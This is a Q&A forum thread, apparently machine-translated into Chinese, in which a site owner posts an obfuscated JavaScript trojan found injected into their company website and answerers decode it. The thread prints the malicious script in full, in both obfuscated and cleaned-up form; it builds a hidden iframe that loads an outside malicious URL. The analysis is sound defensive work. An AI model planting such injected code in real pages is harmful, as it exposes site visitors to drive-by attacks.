2010-07-20 17 views
7

我最近一直在玩JavaScript的分配,並開始考慮,我不能遇到一段JavaScript,我不能夠調試。JavaScript木馬解剖

當我們在我們公司的網站上發現了一些JavaScript重定向特洛伊木馬時,我感到非常驚喜和憤怒。

我們發現的大部分代碼都能夠輕鬆解析並使用標準轉義來混淆代碼功能。

但是,在我們發現的代碼中,下面的代碼完全讓我不知所措。 (我似乎可以解決的唯一部分是它正在替換一些參數)。

那麼,任何人都請友善地解釋下面的代碼給我?我很想知道到底發生了什麼事......

<script> 

function yJ() {}; 
this.sMZ = "sMZ"; 
yJ.prototype = { 
    w: function() { 
     var rJ = 13390; 
     this.m = "m"; 
     this.fP = ''; 
     this.q = "q"; 
     this.oJ = ""; 
     var vS = function() { 
      return 'vS' 
     }; 
     var d = 'replace'; 
     var qB = ""; 
     x = ''; 
     var s = document; 
     var xZ = "xZ"; 
     mC = ''; 
     var dV = "dV"; 
     var b = window; 
     this.p = false; 
     this.kX = ''; 
     nP = "nP"; 
     var zE = ""; 
     this.nU = false; 
     var yV = function() { 
      return 'yV' 
     }; 
     String.prototype.gT = function (l, v) { 
      return this[d](l, v) 
     }; 
     this.pC = ''; 
     var qV = false; 
     var fPU = new Array(); 
     h = ""; 
     var sV = 'sKe}tKTIiWmEe}oEu}tK'.gT(/[KE\}IW]/g, ''); 
     var xV = 43258; 
     sT = ''; 
     var mV = ''; 
     this.wJ = "wJ"; 
     var f = '<jhItImIlI I>j<IhjezaIdz ;>;<z/;hjeIaIdI>;<zb!ojdjyj ;>I<!/jbIo!d!yI>z<j/Ihjt;m;lj>!'.gT(/[\!Ijz;]/g, ''); 
     var xB = ''; 
     wI = "wI"; 
     oT = false; 
     var nQ = 49042; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var aY = function() { 
       return 'aY' 
      }; 
      var rN = false; 
      rF = ""; 
      var cX = function() { 
       return 'cX' 
      }; 
      var y = 'bToTdTy+'.gT(/[\+\]aT%]/g, ''); 
      this.rL = ''; 
      var vH = function() { 
       return 'vH' 
      }; 
      var r = 'sStEy9l?eE'.gT(/[ES9\?m]/g, ''); 
      yD = ""; 
      var eA = ''; 
      var bQ = 'i.fWrhalmlel'.gT(/[lW\.xh]/g, ''); 
      vZ = ''; 
      this.bG = ""; 
      this.vL = false; 
      var t = 'w5r[i5t[e%'.gT(/[%C5\[U]/g, ''); 
      gI = ''; 
      dVL = "dVL"; 
      var n = 'cZrzeZaZtze.E.l.e;m;eSnzt;'.gT(/[;SZz\.]/g, ''); 
      lH = ""; 
      kD = "kD"; 
      this.pH = false; 
      var k = 's9ric9'.gT(/[9Ni~O]/g, ''); 
      var vB = ''; 
      var kH = function() { 
       return 'kH' 
      }; 
      var qH = new Array(); 
      aD = ''; 
      this.eQ = false; 
      var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
      var cT = ''; 
      var kL = function() { 
       return 'kL' 
      }; 
      var bR = new Array(); 
      this.cP = 22454; 
      var dH = 'hNi9d0d>e*n*'.gT(/[\*9N\>0]/g, ''); 
      lG = ''; 
      tG = 7587; 
      hV = ''; 
      this.oR = "oR"; 
      var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
      var dC = function() {}; 
      var eR = new Date(); 
      var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 
      uM = ""; 
      var i = function() {}; 
      this.cI = ""; 
      tU = false; 

      function qN() {}; 
      xL = 57256; 
      var c = this.a(); 
      this.eL = ''; 
      var rY = function() {}; 
      fG = false; 
      nO = false; 
      this.j = ""; 
      this.iQ = 5330; 
      var sY = function() {}; 
      var u = document[n](bQ); 
      this.tH = false; 
      zX = ""; 
      u[r][o] = dH; 
      var kV = "kV"; 
      pN = ''; 
      var yG = new Array(); 
      this.nOE = 818; 
      u[z](k, c); 
      this.bQK = ""; 
      var yU = 15629; 
      var sM = new Array(); 
      var eY = "eY"; 
      var qP = ''; 
      s[y][e](u); 
      var lU = "lU"; 
      var zR = false; 
      var xS = ""; 
      iX = 34795; 

      function pO() {}; 
      this.gM = ""; 
     } catch (g) { 
      var xI = false; 
      this.gO = false; 
      this.iZ = false; 
      this.iU = false; 
      var mQ = new Date(); 
      var qF = function() {}; 
      s.write(f); 
      var tS = "tS"; 

      function aR() {}; 
      nA = "nA"; 
      var xT = new Date(); 
      mZ = false; 
      var gN = new Array(); 
      var wE = this; 
      var eB = 3562; 
      this.qE = "qE"; 
      this.cS = false; 
      this.vK = false; 
      qEJ = false; 
      this.hW = false; 
      b[sV](function() { 
       function bI() {}; 
       hJ = ""; 
       var kVQ = "kVQ"; 
       var iG = ""; 
       var eBS = new Array(); 
       rA = ""; 
       wE.w(); 
       jY = ""; 
       var hB = "hB"; 
       var iZF = ''; 
       qY = ""; 
       jYG = ""; 
       uK = 30969; 
       var qD = "qD"; 
      }, 326); 
      this.qC = ""; 
      var aX = function() {}; 
      var cN = ""; 
     } 
     gB = false; 
     var fF = false; 
     this.hX = false; 
    }, 
    a: function() { 
     rH = "rH"; 
     this.bV = ''; 
     var qW = ""; 
     return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 
     var sMS = new Array(); 
     this.wL = false; 
     uS = "uS"; 

     function pI() {}; 
    } 
}; 
var uI = false; 
var kN = new yJ(); 
this.aQ = "aQ"; 
kN.w(); 
hT = 15101; 

</script> 
+3

我剛纔讀的代碼的第一個30個字母,掌摑自己,做了咖啡,坐下來,發現有一個滾動條。 – Marko 2010-07-20 08:14:31

回答

17

它嵌入http://fancycake.xxx/something,這是行,你可以看到它:

return 'h+tbtJpx:J/+/JfxaxnJc+yJc+abkJeb.xnJeMtM/x.xpxh+/b1M/+'.gT(/[\+JbMx]/g, ''); 

你怎麼看每個奇數字符,從字符串彈撥時,形成的URL。我沒有運行這個,所以我不確定它在什麼條件下執行此操作,但是您可以看到String.replace已重命名爲String.gT,並且正在傳遞一個正則表達式來對付使字符串模糊的字符。如果你申請的是同樣的方法,採摘奇怪的字符,你可以看到,有一個隱藏的iframe,一些JavaScript事件處理程序,setAttribute等:

var z = 'sNeatoA%totor%i%b%u%toeN'.gT(/[Na%ox]/g, ''); 
var o = 'vKiKsAi&bGiKlAiKtHyH'.gT(/[HGK&A]/g, ''); 
var e = 'atp9p9eWn9d:C9htitl5d:'.gT(/[\:t59W]/g, ''); 

這是怎麼String.replace的別名:

var d = 'replace'; 

... 
String.prototype.gT = function (l, v) { 
    return this[d](l, v) 
}; 

在該函數的上下文中,this是正在調用gT的字符串,而d是字符串replace。在字符串的原型上,this['replace']返回replace()方法,然後使用兩個參數調用gT。結果然後返回。

更新

我改變了劇本,像這樣:

  1. 全部換成string.gT()電話與其普通形式。
  2. 刪除未引用的任何變量。
  3. 給功能一些常識名稱。

這是結果,它應該是很清楚它是如何工作現在:

function FancyCake() {}; 
FancyCake.prototype = { 
    embed: function() { 
     var d = 'replace'; 
     var s = document; 
     var b = window; 
     var sV = 'setTimeout'; 
     var f = "<html ><head ></head><body ></body></html>"; 
     try { 
      zI = ''; 
      var bF = new Array(); 
      var y = 'body'; 
      var r = 'style'; 
      var bQ = 'iframe'; 
      var t = 'write'; 
      var n = 'createElement'; 
      var k = 'src'; 
      var z = 'setAttribute'; 
      var dH = 'hidden'; 
      var o = 'visibility'; 
      var e = 'appendChild'; 
      var c = this.getUrl(); 
      var u = document[n](bQ); 
      u[r][o] = dH; 
      u[z](k, c); 
      s[y][e](u); 
     } catch (e) { 
      console.error(e); 
      s.write(f); 
      var cake = this; 
      b[sV](function() { 
       cake.embed(); 
      }, 326); 
     } 
    }, 
    getUrl: function() { 
     return "http://fancycake.net/.ph/1/"; 
    } 
}; 

var cake = new FancyCake(); 
cake.embed(); 
+1

+用於說明 – 2010-07-20 09:20:29

+0

我沒有想到我所看到的是所有這些混亂中的正則表達式。我現在沒有得到的是,好的我得到了原型關鍵字的基本概念,但是如何返回這個[d](l,v)導致覆蓋正則表達式模式匹配?或者他們試圖在那行代碼中實現什麼? PS:感謝您的解釋,因爲很明顯,我將它固定在一個調試器中,但仍然很難理解它。 – 2010-07-20 13:15:31

+0

我已經更新了答案,以包含關於替換的說明。 – 2010-07-20 17:44:17

4

它增加了一個無形的iFrame到以下網址到您的網站:

<iframe style="visibility: hidden;" src="http://fancycake.net/.ph/1/"></iframe> 

下的Firefox作爲攻擊和惡意網站fancycake標

+0

你是怎麼知道的?通過在JavaScript調試器中運行它並觀察發生了什麼,它可以運行在 – 2010-07-20 08:21:57

+1

之上。在此之後,我瀏覽了內部框架網址,並看到Firefox警告:) – Erik 2010-07-20 08:23:49

1

在JavaScript調試器中運行它;最終,代碼將自行反編譯並嘗試啓動。我建議在Linux上使用最新版本的FireFox,以確保安全。